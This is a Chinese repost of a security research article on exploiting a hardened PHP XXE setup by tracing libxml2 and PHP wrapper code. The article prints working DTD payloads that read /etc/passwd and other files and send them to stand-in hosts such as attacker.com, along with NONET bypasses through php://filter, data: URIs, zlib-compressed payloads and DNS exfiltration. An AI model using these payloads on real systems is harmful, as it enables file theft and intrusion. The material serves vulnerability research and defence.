网站首页 > 知识剖析 正文
如今,编写安全代码比犯下导致 XXE 漏洞的错误要容易得多。在检查库时,我想知道:它的代码真的安全吗?乍一看,所有内容似乎都经过了过滤,并且该函数不具备可能使其易受攻击的属性。
然而,我能够通过结合多种技术和特性来利用几乎不可能的 XXE 漏洞。
<?php
ini_set('display_errors', '0');
$doc = new \DOMDocument();
$doc->loadXML($_POST['user_input']); // #1
$xml = $doc->saveXML();
$doc = new \DOMDocument('1.0', 'UTF-8');
$doc->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NONET); // #2 & #3
foreach ($doc->childNodes as $child) {
if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {// #4
throw new RuntimeException('Dangerous XML detected');
}
}
?>
标准有效载荷无法在这样的代码中起作用,并且要利用 XXE 漏洞,必须消除四个障碍:
#1 $doc->loadXML($_POST user_input']); — 由于默认情况下禁用加载外部实体,因此任何形式为 %x; 的实体都将被替换为空字符串。
#2该 LIBXML_DTDLOAD 属性允许加载外部实体,但不允许将一个实体插入另一个实体。让我们看看如果我们尝试以下有效载荷会发生什么:
<!ENTITY % data SYSTEM "file:///etc/passwd" >
<!ENTITY % eval SYSTEM "<!ENTITY % exf SYSTEM 'http://attacker.com/?data=%data;'>" >
%eval;
%exf;
如果不设置附加LIBXML_NOENT或LIBXML_DTDVALID 标志,此有效载荷将触发警告,实体将不会被创建,并且数据也不会从数据中泄露。
#3该LIBXML_NONET 标志禁止从外部来源(http://)加载。
#4 XXE 的有效负载以<!DOCTYPE标签开头,因此 条件将始终返回 true。此检查可防止使用$child->nodeType === XML_DOCUMENT_TYPE_NODE 正常实体 ( )。&entity;
以下有效载荷解决了所有这些问题:
PoC 脚本可在 GitHub 上获取。
旁路,旁路,旁路
我们将不按出现的顺序来解决问题,而是基于绕过防御的复杂性:从最简单到最复杂。
绕过<!DOCTYPE条件
绕过$child->nodeType === XML_DOCUMENT_TYPE_NODE 条件是最简单的任务。您需要知道如何解析参数实体(它们以 开头 %)。
当解析器%name;在处理 XML 时遇到类似的字符串时,它会立即尝试解析该name 实体。
如果我们使用参数实体进行攻击,XXE注入将在加载XML文件时发生,即在loadXML 调用函数时、nodeType 检查条件之前。
旁路LIBXML_NONET
下一个任务 — 绕过 LIBXML_NONET— 也不是问题。本质上,在大多数情况下,LIBXML_NONET 标志在 PHP 中不起作用。让我们找出原因。
PHP 中的标准 XML 解析基于libxml扩展,而该扩展又是libxml2的包装器。
让我们开始分析 libxml2 代码
要加载外部实体,xmlDefaultExternalEntityLoader 默认使用该函数:
// parserInternals.c
static xmlParserInputPtr
xmlDefaultExternalEntityLoader(const char *url, const char *ID,
xmlParserCtxtPtr ctxt)
{
…
// `LIBXML_NONET` flag in PHP, is the same as `XML_PARSE_NONET` flag in libxml2
if ((ctxt != NULL) && (ctxt->options & XML_PARSE_NONET) &&
// no-net "protection":
(xmlStrncasecmp(BAD_CAST url, BAD_CAST "http://", 7) == 0)) { // [1]
xmlCtxtErrIO(ctxt, XML_IO_NETWORK_ATTEMPT, url);
} else {
input = xmlNewInputFromFile(ctxt, url);
}
…
}
XML_PARSE_NONET 仅当外部实体的 URI 以 http [1]开头时,带有标志检查的条件才会起作用。
让我们分析更多代码:
// parserInternals.c
xmlParserInputPtr
xmlNewInputFromFile(xmlParserCtxtPtr ctxt, const char *filename) {
…
code = xmlNewInputFromUrl(filename, flags, &input);
…
}
int
xmlNewInputFromUrl(const char *filename, int flags, xmlParserInputPtr *out) {
…
if (xmlParserInputBufferCreateFilenameValue != NULL) { // [2]
buf = xmlParserInputBufferCreateFilenameValue(filename,
XML_CHAR_ENCODING_NONE);
} else {
code = xmlParserInputBufferCreateUrl(filename, XML_CHAR_ENCODING_NONE,
flags, &buf);
}
…
input = xmlNewInputInternal(buf, filename);
…
用于xmlParserInputBufferCreateFilenameValue实现从 filename 变量中指定的路径自定义加载外部实体。默认情况下,此处理程序为 NULL,但使用 PHP 扩展 libxml 可实现此处理程序以启用 PHP Wrappers [2]。
PHP 包装器
PHP 有一个单独的架构解决方案,称为包装器。它作为通过标准文件函数处理数据流的包装器。
libxml PHP 扩展声明了php_libxml_input_buffer_create_filename加载外部实体的函数。
让我们仔细看看。
// ext/libxml/libxml
// sets custom handler implementation
xmlParserInputBufferCreateFilenameDefault(php_libxml_input_buffer_create_filename);
static xmlParserInputBufferPtr
php_libxml_input_buffer_create_filename(const char *URI, xmlCharEncoding enc)
{
…
context = php_libxml_streams_IO_open_read_wrapper(URI);
…
ret = xmlAllocParserInputBuffer(enc);
if (ret != NULL) {
ret->context = context;
ret->readcallback = php_libxml_streams_IO_read;
ret->closecallback = php_libxml_streams_IO_close;
}
return(ret);
}
static void *php_libxml_streams_IO_open_read_wrapper(const char *filename)
{
return php_libxml_streams_IO_open_wrapper(filename, "rb", 1);
}
static void *php_libxml_streams_IO_open_wrapper(const char *filename, const char *mode, const int read_only)
{
…
} else {
resolved_path = (char *)filename;
}
…
php_stream_wrapper *wrapper = php_stream_locate_url_wrapper(resolved_path, &path_to_open, 0);
…
php_stream *ret_val = php_stream_open_wrapper_ex(path_to_open, mode, REPORT_ERRORS, NULL, context); // [3]
…
return ret_val;
}
代码显示包装器将用于加载外部实体[3]。这意味着要绕过LIBXML_NONET,您需要用另一个包装器替换http://。让我们 http://example.com 用替换 php://filter/resource=http://example.com,这将足以绕过限制并加载外部文件。
绕过 $xml->loadXML($_POST['user_input']);
当调用loadXML 不带标志的方法时,经典的payload类型如下:
<!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]><x></x>
将会变成
<!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">]>
<x></x>
由于没有该%xxe; 调用,DTD 文件将不会被加载。
为了解决这个问题,让我们再次检查 libxml2 代码:
// parserInternals.c
int
xmlParseDocument(xmlParserCtxtPtr ctxt) {
...
if (CMP9(CUR_PTR, '<', '!', 'D', 'O', 'C', 'T', 'Y', 'P', 'E')) {
ctxt->inSubset = 1;
xmlParseDocTypeDecl(ctxt);
...
if ((ctxt->sax != NULL) && (ctxt->sax->externalSubset != NULL) &&
(!ctxt->disableSAX))
ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName,
ctxt->extSubSystem, ctxt->extSubURI);
}
...
void
xmlParseDocTypeDecl(xmlParserCtxtPtr ctxt) {
...
URI = xmlParseExternalID(ctxt, &ExternalID, 1);
...
ctxt->extSubURI = URI;
ctxt->extSubSystem = ExternalID;
...
}
从代码中我们可以看到,标签SYSTEM 的属性也被解析了DOCTYPE 。这正是我们所需要的!
有效载荷可以转换成:
<!DOCTYPE x SYSTEM "http://attacker.com/malicious.dtd" []><x></x>
现在,第一次调用后有效载荷不会改变loadXML,这意味着在第二次调用时loadXML,LIBXML_DTDLOAD将加载外部 DTD 文件。
最后一个?
目前,我们已经成功绕过了三个限制,并实现了从任意来源加载外部实体。现在是时候解决数据泄露问题了。
在这个阶段,我们可以尝试以下选项:
- XXE 到 RCE:通过expect:// 实现 RCE
问题:o 该expect协议通常被禁用。 - 通过cnext 漏洞(iconv 漏洞)从 XXE 到 RCE 的
问题:这个漏洞可以被修复。 - lightyear:一项关于 php 过滤链的令人印象深刻的研究,允许使用基于错误的 oracle 进行文件转储。
问题:在我们的示例中,错误文本输出被禁用,并且使用时也会显示错误 DOCTYPE,从而无法区分一个 500 错误与另一个 500 错误。要通过文件实现XXE注入,必须上传大量文件。
由于各种原因,每种方法都不适合我们,所以让我们继续研究并尝试找到自己的方法。
深入了解
传统有效载荷的问题
首先,让我们找出为什么传统的盲XXE有效载荷在我们的案例中不起作用。我们将使用该文件 malicious.dtd作为示例:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
loadXML当通过标志加载此类有效负载时LIBXML_DTDLOAD,不会向攻击者的服务器发送任何出站请求,并且 PHP 会生成几个通知:
为了理解这个问题,让我们从实体解析器开始分析:
// parser.c
void
xmlParseEntityDecl(xmlParserCtxtPtr ctxt) {
// RAW - it is a macro that returns the current character in parser.
...
if (CMP6(CUR_PTR, 'E', 'N', 'T', 'I', 'T', 'Y')) {
...
if (RAW == '%') { // detect Parameter Entity
...
isParameter = 1;
}
name = xmlParseName(ctxt); // entity name
...
if (SKIP_BLANKS_PE == 0) {
xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
"Space required after the entity name\n");
}
...
if (isParameter) {
if ((RAW == '"') || (RAW == '\'')) { // [4]
value = xmlParseEntityValue(ctxt, &orig); // entity value
if (value) {
...
// declaration entity with value, entity->content = value
ctxt->sax->entityDecl(ctxt->userData, name,
XML_INTERNAL_PARAMETER_ENTITY,
NULL, NULL, value);
}
} else {
URI = xmlParseExternalID(ctxt, &literal, 1); // SYSTEM "URI" [5]
if (URI) {
...
// declaration entity with URI, entity->content = NULL
ctxt->sax->entityDecl(ctxt->userData, name,
XML_EXTERNAL_PARAMETER_ENTITY,
literal, URI, NULL);
}
...
} else {
...
我们感兴趣的是参数实体的解析。处理完实体名称后,将当前字符与引号字符 ('或")进行比较[4]。如果当前字符是引号,则解析内容;否则,解析实体 URI [5]。
重要。类型的实体 <!ENTITY % x SYSTEM "URI"> 没有内容,因此 entity->content = NULL。
接下来我们来探究一下实体值是如何解析的:
// parser.c
xmlChar *
xmlParseEntityValue(xmlParserCtxtPtr ctxt, xmlChar **orig) {
...
xmlExpandPEsInEntityValue(ctxt, &buf, start, length, ctxt->inputNr);
...
}
static void
xmlExpandPEsInEntityValue(xmlParserCtxtPtr ctxt, xmlSBuf *buf,
const xmlChar *str, int length, int depth) {
...
while ((str < end) && (!PARSER_STOPPED(ctxt))) {
...
} else if (c == '%') { // is it a parametric entity?
...
ent = xmlParseStringPEReference(ctxt, &str);
...
if (ent->content == NULL) {
// loading external entity content
if (((ctxt->options & XML_PARSE_NO_XXE) == 0) &&
((ctxt->replaceEntities) || (ctxt->validate))) { // [6]
xmlLoadEntityContent(ctxt, ent);
} else {
// Here is our notice message, entity not loaded :(
xmlWarningMsg(ctxt, XML_ERR_ENTITY_PROCESSING,
"not validating will not read content for "
"PE entity %s\n", ent->name, NULL);
}
}
...
// inserting entity->content into parent entity value
xmlExpandPEsInEntityValue(ctxt, buf, ent->content, ent->length,
depth);
如果实体没有内容( ),则仅当设置了 标志(PHP 标志 )或设置了 标志(PHP 标志 )ent->content == NULL时才会从 URI 加载 [6]。replaceEntitiesLIBXML_NOENTvalidateLIBXML_DTDVALID
原因已经确定:没有LIBXML_NOENT 或 LIBXML_DTDVALID 标志,就不可能将外部实体注入到另一个实体的内容中。
参数实体滥用
外部实体的问题现在已经清楚了,但是内部实体(即具有填充内容的实体)的问题又如何呢?从代码来看,没有什么可以阻止将此类实体注入到其他实体的内容中。
有效载荷的示例:
<!ENTITY % file "somedata">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
最小 PoC:
<?php
$doc = new \DOMDocument();
$doc->loadXML('<!DOCTYPE x SYSTEM "http://attacker.com/malicious.dtd">
<x></x>', LIBXML_DTDLOAD);
我们收到一个入站 HTTP 请求,其内容x等于somedata。
嗯,现在我们需要弄清楚如何在不调用xmlExpandPEsInEntityValue 函数的情况下使用它。
跳过空白处
在检查 libxml2 的解析代码时,我经常会遇到 SKIP_BLANKS_PE 负责扩展 XML 主体内的参数实体的宏。
// parser.c
#define SKIP_BLANKS_PE xmlSkipBlankCharsPE(ctxt)
static int xmlSkipBlankCharsPE(xmlParserCtxtPtr ctxt) {
...
while (PARSER_STOPPED(ctxt) == 0) {
if (IS_BLANK_CH(CUR)) { /* CHECKED tstblanks.xml */
NEXT;
} else if (CUR == '%') {
if ((expandParam == 0) ||
(IS_BLANK_CH(NXT(1))) || (NXT(1) == 0))
break;
/*
* Expand parameter entity. We continue to consume
* whitespace at the start of the entity and possible
* even consume the whole entity and pop it. We might
* even pop multiple PEs in this loop.
*/
xmlParsePEReference(ctxt);
inParam = PARSER_IN_PE(ctxt);
expandParam = PARSER_EXTERNAL(ctxt);
} else if (CUR == 0) {
...
}
void xmlParsePEReference(xmlParserCtxtPtr ctxt) // [7]
{
...
if ((entity->etype == XML_EXTERNAL_PARAMETER_ENTITY) &&
((ctxt->options & XML_PARSE_NO_XXE) ||
((ctxt->loadsubset == 0) && // new condition [8]
(ctxt->replaceEntities == 0) &&
(ctxt->validate == 0))))
return;
...
input = xmlNewEntityInputStream(ctxt, entity); // entity loads method
if (xmlPushInput(ctxt, input) < 0) {
xmlFreeInputStream(input);
return;
}
...
对我们来说最有价值的函数是xmlParsePEReference [7],因为它负责实体扩展。
注意实体扩展的条件;它与函数中的条件几乎相同xmlExpandPEsInEntityValue ,但多了一个检查 ( ctxt->loadsubset == 0) [8] loadsubset = 1 。如果设置了以下标志之一,则标志为:XML_PARSE_DTDLOAD 或 XML_PARSE_DTDATTR(在 PHP 中为 LIBXML_DTDLOAD or LIBXML_DTDATTR)。感觉我们离目标越来越近了。
函数SKIP_BLANKS_PE可以扩展实体,但是有一个问题:实体不会改变,entity->content仍然等于NULL。数据不会加载实体,而是加载到新的解析器输入中,该输入位于堆栈的顶部input。
让我们尝试以下 DTD:
<!ENTITY % file SYSTEM "file:///tmp/some.txt">
<!ENTITY % data %file;>
<!ENTITY % payload '<!ENTITY % exf SYSTEM "http://attacker.com/?x=%data;">'>
%payload;
%exf;
如果 some.txt 的内容以引号("或')开头和结尾,则此类 DTD 有效。此外还有一个条件:内容不得包含非法字符或保留字符,例如 &或 \0。
有效示例 some.txt:
"It+works!"
让我们来看看:
<?php
$doc = new \DOMDocument();
$doc->loadXML('<!DOCTYPE x SYSTEM " http://attacker.com/malicious.dtd"><x></x>', LIBXML_DTDLOAD);
BRO PHP 过滤器链
包裹
至此,我们明白了,为了成功窃取文件,我们需要删除非法字符并添加双引号作为前缀和后缀。使用php://filter包装器可以轻松完成:
- 通过使用过滤器将输出转换为 base64 来删除非法字符 php://filter/convert.base64-encode/resource=/tmp/secret.txt。
- 要添加前缀和后缀,我们将使用一种非常酷的技术,称为wrapwrap。
我们的 DTD 现在如下所示:
<!ENTITY % file SYSTEM "рhp://filter/convert.base64-encode/A-LOT-OF-WRAPWRAP-FILTERS/resource=/tmp/secret.txt">
<!ENTITY % data %file;>
<!ENTITY % payload '<!ENTITY % exf SYSTEM "http://attacker.com/?x=%data;">'>
%payload;
%exf;
并且它有效!
但有一个问题:由于wrapwrap的特性,文件越大,有效负载大小就越大。它可以达到几十千字节!
解析文字时SYSTEM ,使用两个常量来确定最大长度。
// parserInternals.h
#define XML_MAX_TEXT_LENGTH 10000000
#define XML_MAX_NAME_LENGTH 50000
// parser.c
xmlParseSystemLiteral(xmlParserCtxtPtr ctxt) {
int maxLength = (ctxt->options & XML_PARSE_HUGE) ?
XML_MAX_TEXT_LENGTH :
XML_MAX_NAME_LENGTH;
....
事实证明,如果没有该XML_PARSE_HUGE 标志,我们只能使用 50 KB。对于 wrapwrap 技术来说,这太少了。这种大小的有效负载仅允许读取长度不超过 50 个字符的文件。
光年块
让我们看一下lightyear,这是关于盲读和去块主题的另一项令人难以置信的研究。
使用本研究中的 lightyear dechunk,我们可以将生成的文件分解成块。与 wrapwrap 不同,lightyear dechunk 的有效载荷大小最小。这两种技术的组合显著减少了有效载荷的大小。即使没有XML_PARSE_HUGE设置标志,也可以窃取几千字节大小的文件!
下面是一个将 wrapwrap 和 lightyear 结合起来的近似算法:
- 使用 wrapwrap 从文件中取出 n 个字符。
- 找到最右边可以转换成的字符 \n。
- 如果可能,修改之前的过滤器并更新旧跳转。否则,创建一个新的过滤器并添加新的跳转。
- 如果创建了新的跳转,则可以更新旧过滤器的前缀,因为块大小是已知的。
- 对于当前过滤器,将较大的数字添加到前缀并应用去块过滤器,删除文件的左侧部分。
- 尽可能读取该文件。
TRUE NONET:当服务器上过滤出站 TCP 连接时该怎么办
在某些情况下,出站 TCP 连接可能会被阻止,从而阻止我们从服务器检索 DTD。使用本地 DTD 文件是一种绝妙的解决方法,但它并不总是有效。
让我们用data:协议解决这些问题,使用 DNS 进行渗透。
数据:协议
PHP 包装器支持以下方法:我们可以使用该协议,而不是从外部资源下载 DTD 文件或搜索本地 DTD 文件,data:例如:
<!DOCTYPE x SYSTEM 'data:,%3c!ENTITY+%25+file+SYSTEM+%22php%3a//filter/convert.base64-encode/A-LOT-OF-WRAPWRAP-FILTERS/resource%3d/etc/passwd%22%3e%0a%3c!ENTITY+%25+data+%25file%3b%3e%0a%3c!ENTITY+%25+exf+SYSTEM+%22http%3a//web-attacker.com/%3fx%3d%25data;%22%3e' []><x></x>
问题基本解决了,但由于过滤器数量庞大,有效载荷大小将非常巨大。如果我们打算通过 GET 参数进行注入,就会出现问题,因为服务器通常会限制 URL 中查询字符串的大小。
让我们用 zlib 来解决这个问题。
库
大多数过滤器都是重复的并且压缩效果很好,这意味着我们可以使用zlib.deflate和 base64 过滤器。
让我们使用这些 PHP 过滤器对有效负载进行编码:
php://filter/zlib.deflate/convert.base64-encode/resource=/payload.dtd。
结果,原始 DTD 被缩小了几倍。之后,我们可以通过过滤器加载压缩的有效负载:
<!DOCTYPE x SYSTEM "php://filter/convert.base64-decode/zlib.inflate/resource=data:BASE64_ZLIB_DATA," []><x></x>
有效载荷加载问题已解决;让我们继续进行数据泄露。
DNS
在我们的案例中,通过 DNS 进行渗透是通过子域名传输数据的方法之一。
请注意以下几点:
- 每个标签的长度(用符号分隔的名称.)不得超过 63 个字符。
- 遇到 base64 时,Google DNS 可能会随机将大写字母更改为小写字母,反之亦然。在这种情况下,需要对生成的 base64 进行额外验证。
结果
因此,我们能够消除阻碍充分利用 XXE 漏洞的以下障碍:
- 解析 XML 后的任何 XXE 检测器
- 旗帜LIBXML_NONET已设置
- 通过双重使用来消除实体loadXML
- LIBXML_NOENT无法在不设置标志的情况下读取服务器文件LIBXML_DTDVALID
- 阻止 TCP 连接以防止数据泄露
- GET通过参数进行攻击时有效载荷较大
修复这些问题后,可以在以下条件下利用 PHP 中的 XXE 漏洞:
- LIBXML_NO_XXE 标志(仅从 PHP 8.4.0 开始可用)被禁用,并且
- 同时,设置以下列表中的任意标志:LIBXML_DTDLOADLIBXML_DTDATTRLIBXML_DTDVALIDLIBXML_NOENT
我创建了一个脚本以使测试更容易。
额外有效载荷
值得注意的是,启用错误输出后,payload 会变得简单很多。研究表明,在处理特制的 DTD 时,会因为=实体名称中的“ ”符号而产生错误。这将导致文件内容泄露/etc/passwd ,该文件内容经过两次 base64 编码。
外部 DTD 的内容:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/convert.base64-encode/resource=/etc/passwd" >
<!ENTITY % %data;>
漏洞漏洞
SimpleSAMLphp中的 XXE
该漏洞由另一位研究人员报告
2024 年 10 月,我发现了当时最新版本的 SimpleSAMLphp 中存在一个漏洞。然而,当我准备一个完整的 PoC 时,我打算向其中一个存储库提交漏洞报告,而 SimpleSAMLphp 的CVE-2024-52596已被注册。不幸的是,我来晚了……
但是,我最终的 PoC 带有 XXE 注入,可让您读取配置文件、发现私钥并签署任何断言,最终使您能够完全绕过配置为身份提供者的 SimpleSAMLphp 的身份验证机制。任何用户都可以利用此漏洞,无需身份验证。
reffer https://swarm.ptsecurity.com/impossible-xxe-in-php/
- 上一篇: PHP-FPM 学习记录
- 下一篇: php8属性注解使用教程
猜你喜欢
- 2025-04-26 workerman 自定义的协议如何解决粘包拆包
- 2025-04-26 Everything 在应急响应中的使用
- 2025-04-26 后端开发干货:PHP源码阅读技巧
- 2025-04-26 php8属性注解使用教程
- 2025-04-26 PHP-FPM 学习记录
- 2025-04-26 【玩法悉知】:领地战玩法全解析!
- 2025-04-26 PHP实现URL编码、Base64编码、MD5编码的方法
- 2025-04-26 PHP中<textarea>里的内容保存MYSQL后页面输出不换行的解决方法
- 2025-04-26 详解php-fmp.conf和php.ini文件
- 2025-04-26 六种流行语言(C、C++、Python、JavaScript、PHP、Java)对比
- 04-26workerman 自定义的协议如何解决粘包拆包
- 04-26Everything 在应急响应中的使用
- 04-26后端开发干货:PHP源码阅读技巧
- 04-26php8属性注解使用教程
- 04-26PHP 中不可能存在的 XXE
- 04-26PHP-FPM 学习记录
- 04-26【玩法悉知】:领地战玩法全解析!
- 04-26PHP实现URL编码、Base64编码、MD5编码的方法
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)